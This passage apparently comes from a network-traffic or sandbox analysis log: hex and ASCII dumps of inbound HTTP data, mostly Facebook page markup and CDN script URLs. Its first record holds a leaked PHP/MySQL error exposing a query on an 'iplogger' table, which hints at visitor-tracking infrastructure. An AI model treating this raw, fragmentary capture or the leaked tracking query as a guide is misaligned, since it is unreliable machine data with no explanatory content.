61 6c 6c 5c 75 Data Ascii: 0password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u
2022-10-08 09:35:10 UTC	492	IN	Data Raw: 31 35 33 25 32 46 73 65 65 6d 6f 72 65 62 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 57 61 72 6e 69 6e 67 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 33 41 25 32 35 32 30 25 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 25 32 38 25 32 39 25 32 35 32 30 65 78 70 65 63 74 73 25 32 35 32 30 70 61 72 61 6d 65 74 65 72 25 32 35 32 30 32 25 32 Data Ascii: 153%2Fseemorebty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250A%253Cb%253EWarning%253C%2Fb%253E%3A%2520%2520mysql_query%28%29%2520expects%2520parameter%25202%2
2022-10-08 09:35:10 UTC	494	IN	Data Raw: 65 73 73 65 6e 67 65 72 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 4d 65 73 73 65 6e 67 65 72 2e 22 3e 4d 65 73 73 65 6e 67 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6c 69 74 65 2f 22 20 74 69 74 6c 65 3d 22 46 61 63 65 62 6f 6f 6b 20 4c 69 74 65 20 66 6f 72 20 41 6e 64 72 6f 69 64 2e 22 3e 46 61 63 65 62 6f 6f 6b 20 4c 69 74 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 77 61 74 63 68 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 57 61 74 63 68 20 76 69 64 65 6f 73 2e 22 3e 57 61 74 63 68 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 6c 61 63 65 73 2f 22 Data Ascii: essenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.com/watch/" title="Browse our Watch videos.">Watch</a></li><li><a href="/places/"
2022-10-08 09:35:10 UTC	495	IN	Data Raw: 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 67 72 6f 75 70 73 2f 65 78 70 6c 6f 72 65 2f 22 20 74 69 74 6c 65 3d 22 0d 0a Data Ascii: ces</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/groups/explore/" title="
2022-10-08 09:35:10 UTC	495	IN	Data Raw: 36 64 33 35 0d 0a 45 78 70 6c 6f 72 65 20 6f 75 72 20 47 72 6f 75 70 73 2e 22 3e 47 72 6f 75 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 6f 75 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 61 63 63 65 73 73 6b 65 79 3d 22 38 22 20 74 69 74 6c 65 3d 22 52 65 61 64 20 6f 75 72 20 62 6c 6f 67 2c 20 64 69 73 63 6f 76 65 72 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 63 65 6e 74 65 72 2c 20 61 6e 64 20 66 69 6e 64 20 6a 6f 62 20 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 2e 22 3e 41 62 6f 75 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 64 5f 63 61 6d 70 61 69 67 6e 2f 6c 61 6e 64 69 6e 67 2e 70 68 70 3f 70 6c 61 63 65 6d 65 6e 74 3d 70 66 6c 6f 26 61 6d 70 3b 63 61 6d 70 61 Data Ascii: 6d35Explore our Groups.">Groups</a></li><li><a href="https://about.facebook.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campa
2022-10-08 09:35:10 UTC	497	IN	Data Raw: 65 66 3d 22 2f 73 65 74 74 69 6e 67 73 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 61 6e 64 20 65 64 69 74 20 79 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 73 65 74 74 69 6e 67 73 2e 22 3e 53 65 74 74 69 6e 67 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 61 63 63 65 73 73 6b 65 79 3d 22 37 22 20 63 6c 61 73 73 3d 22 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 22 20 68 72 65 66 3d 22 2f 61 6c 6c 61 63 74 69 76 69 74 79 3f 70 72 69 76 61 63 79 5f 73 6f 75 72 63 65 3d 61 63 74 69 76 69 74 79 5f 6c 6f 67 5f 74 6f 70 5f 6d 65 6e 75 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6c 6f 67 22 3e 41 63 74 69 76 69 74 79 20 6c 6f 67 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: ef="/settings" title="View and edit your Facebook settings.">Settings</a></li><li><a accesskey="7" class="accessible_elem" href="/allactivity?privacy_source=activity_log_top_menu" title="View your activity log">Activity log</a></li></ul></div><div class="
2022-10-08 09:35:10 UTC	498	IN	Data Raw: 62 33 72 65 49 58 56 66 54 6f 22 7d 2c 22 31 34 38 35 30 35 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6c 6b 47 78 6d 68 66 72 56 4b 6c 63 6e 34 64 49 22 7d 2c 22 31 35 39 36 30 36 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 4a 48 75 44 57 74 61 4f 71 52 75 42 55 6f 57 59 22 7d 2c 22 31 35 39 37 36 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 37 38 47 34 66 44 58 68 6c 6e 4d 6c 37 6f 34 51 49 22 7d 2c 22 31 36 34 37 32 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 57 64 6b 72 51 53 47 45 35 64 49 73 45 46 34 34 22 7d 2c 22 31 36 39 35 38 33 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a Data Ascii: b3reIXVfTo"},"1485055":{"result":true,"hash":"AT5lkGxmhfrVKlcn4dI"},"1596063":{"result":false,"hash":"AT7JHuDWtaOqRuBUoWY"},"1597642":{"result":true,"hash":"AT78G4fDXhlnMl7o4QI"},"1647260":{"result":false,"hash":"AT4WdkrQSGE5dIsEF44"},"1695831":{"result":
2022-10-08 09:35:10 UTC	500	IN	Data Raw: 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 57 32 34 5c 2f 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 73 74 6d 4b 66 32 6e 4d 78 73 47 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 47 74 32 6d 78 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6e 5c 2f 72 5c 2f 47 32 6d 61 49 71 32 6b 57 43 56 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6c 57 4f 76 47 54 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 Data Ascii: /static.xx.fbcdn.net\/rsrc.php\/v3ijW24\/yl\/l\/en_US\/stmKf2nMxsG.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"vGt2mxz":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/G2maIq2kWCV.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"lWOvGTa":{"type":"js","src":"http
2022-10-08 09:35:10 UTC	501	IN	Data Raw: 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 7a 5c 2f 72 5c 2f 68 49 45 65 4f 51 39 4c 37 32 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 6f 35 59 76 4f 32 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 45 53 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 5a 71 36 61 5f 76 51 6c 37 51 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 63 68 58 77 50 72 55 22 3a 7b 22 74 79 70 65 22 Data Ascii: "src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yz\/r\/hIEeOQ9L72b.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/o5YvO2":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iqES4\/yr\/l\/en_US\/Zq6a_vQl7QB.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"chXwPrU":{"type"
2022-10-08 09:35:10 UTC	503	IN	Data Raw: 7d 2c 22 78 4d 44 30 34 37 63 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 45 5f 67 34 5c 2f 79 59 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 35 68 4c 49 62 42 57 47 76 4d 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 34 33 66 32 4c 2b 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 55 5c 2f 72 5c 2f 4e 66 46 68 52 76 42 4e 47 6e 32 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 Data Ascii: },"xMD047c":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iE_g4\/yY\/l\/en_US\/5hLIbBWGvM8.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"43f2L+6":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yU\/r\/NfFhRvBNGn2.js?_nc_x=Ij3Wp8lg5Kz","
2022-10-08 09:35:10 UTC	504	IN	Data Raw: 6d 5c 2f 72 5c 2f 54 31 6a 64 43 4d 6d 52 6f 6a 76 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6b 77 6a 56 4e 70 58 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 68 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4f 69 35 45 48 6e 65 76 30 4a 74 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 44 31 5c 2f 4a 54 6d 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f Data Ascii: m\/r\/T1jdCMmRojv.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"kwjVNpX":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yh\/l\/0,cross\/Oi5EHnev0Jt.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"D1\/JTmT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/
2022-10-08 09:35:10 UTC	506	IN	Data Raw: 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 52 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 64 6f 68 4c 41 43 6d 35 61 46 30 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4a 41 46 7a 4d 4f 71 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 61 4f 36 34 5c 2f 79 41 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 79 46 79 48 4e 68 6e 4b 5f 43 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 Data Ascii: :"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yR\/l\/0,cross\/dohLACm5aF0.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"JAFzMOq":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iaO64\/yA\/l\/en_US\/yFyHNhnK_C8.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"
2022-10-08 09:35:10 UTC	507	IN	Data Raw: 6c 5c 2f 65 6e 5f 55 53 5c 2f 41 77 44 4f 6e 66 74 57 56 64 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 33 30 54 44 65 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 5a 4e 6e 34 5c 2f 79 6d 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 59 54 59 30 4f 66 6d 53 74 49 4b 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 41 47 52 49 34 69 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 Data Ascii: l\/en_US\/AwDOnftWVdW.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"d30TDe6":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iZNn4\/ym\/l\/en_US\/YTY0OfmStIK.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"nAGRI4i":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.p
2022-10-08 09:35:10 UTC	509	IN	Data Raw: 2c 22 55 2b 7a 77 34 69 66 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 74 44 58 34 5c 2f 79 70 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 37 31 53 59 4f 34 43 56 67 56 78 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 50 65 47 7a 75 50 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 72 51 4c 34 5c 2f 79 6f 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 54 59 6a 65 62 53 36 64 61 50 4b 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 Data Ascii: ,"U+zw4if":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3itDX4\/yp\/l\/en_US\/71SYO4CVgVx.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"jPeGzuP":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3irQL4\/yo\/l\/en_US\/TYjebS6daPK.js?_nc_x=Ij3
2022-10-08 09:35:10 UTC	510	IN	Data Raw: 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 52 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 63 56 4f 6a 69 6a 6c 6c 50 45 55 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 37 58 39 45 72 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 46 61 33 34 5c 2f 79 55 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 47 76 67 7a 2d 68 41 59 42 4b 76 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 61 37 70 77 2b 35 22 3a 7b 22 74 79 70 Data Ascii: https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yR\/l\/0,cross\/cVOjijllPEU.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"97X9Er6":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iFa34\/yU\/l\/en_US\/Gvgz-hAYBKv.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0a7pw+5":{"typ
2022-10-08 09:35:10 UTC	511	IN	Data Raw: 63 2e 70 68 70 5c 2f 76 33 69 49 6d 61 34 5c 2f 79 46 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 4c 38 4e 77 5a 74 50 68 7a 78 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 57 4d 4a 67 54 65 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 77 5c 2f 72 5c 2f 7a 65 43 39 76 30 66 76 75 6b 6e 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 68 49 65 6b 2b 62 47 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: c.php\/v3iIma4\/yF\/l\/en_US\/L8NwZtPhzxW.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"gWMJgTe":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yw\/r\/zeC9v0fvukn.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"hIek+bG":{"type":"js","src":"https:\/\/static.xx.fbcdn.net
2022-10-08 09:35:10 UTC	513	IN	Data Raw: 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 78 5c 2f 72 5c 2f 59 68 2d 48 46 75 31 41 4c 5f 7a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 72 4f 30 6c 62 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 31 5c 2f 72 5c 2f 77 6a 69 58 4d 59 49 33 6a 62 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 35 4c 46 32 6a 31 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 Data Ascii: ":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yx\/r\/Yh-HFu1AL_z.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/rO0lbn":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y1\/r\/wjiXMYI3jbs.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Z5LF2j1":{"type":"js"
2022-10-08 09:35:10 UTC	514	IN	Data Raw: 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 6f 6c 74 69 70 22 3a 7b 22 72 22 3a 5b 22 63 68 58 77 50 72 55 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 43 47 6b 48 34 46 59 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 78 32 6c 72 47 41 57 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 52 50 Data Ascii: w3PQ","lWOvGTa","BIylKC4","Fn3rAl7"],"be":1},"Tooltip":{"r":["chXwPrU","diogVau","YtU3C5u","CGkH4FY","plCHOrr","srPmdt4","R5w1rCJ","IaR\/6uP","n6W4xMH","8zbEZtu","X9nr65a","13Ewqji","KsbRs3u","x2lrGAW","vGt2mxz","lWOvGTa","h3ZzAmG","BIylKC4","Fn3rAl7","RP
2022-10-08 09:35:10 UTC	516	IN	Data Raw: 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 54 61 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 34 33 66 32 4c 2b 36 22 2c 22 52 32 53 57 59 47 38 22 2c 22 63 68 58 77 50 72 55 22 2c 22 6c 6c 34 5a 47 5c 2f 79 22 2c 22 42 4b 58 30 32 50 47 22 2c 22 55 2b 7a 77 34 69 66 22 2c 22 71 31 6a 53 5a 38 63 22 2c 22 6a 50 65 47 7a 75 50 22 2c 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 6d 52 70 44 77 6d 64 22 2c 22 56 4d 6c 50 6a 59 78 22 2c 22 74 6a 6d 6b 2b 30 4b 22 2c 22 33 4e 70 6c 63 38 49 22 2c 22 65 39 41 4e 7a 77 5c 2f 22 2c 22 6e 4e 78 6a 46 2b 4e 22 2c 22 42 6e 52 50 6f 35 68 22 2c 22 64 41 78 58 30 6a Data Ascii: Scuba_DEPRECATED","PageTransitions"]},"be":1},"PhotoTagger":{"r":["43f2L+6","R2SWYG8","chXwPrU","ll4ZG\/y","BKX02PG","U+zw4if","q1jSZ8c","jPeGzuP","cgf2ddX","diogVau","YtU3C5u","mRpDwmd","VMlPjYx","tjmk+0K","3Nplc8I","e9ANzw\/","nNxjF+N","BnRPo5h","dAxX0j
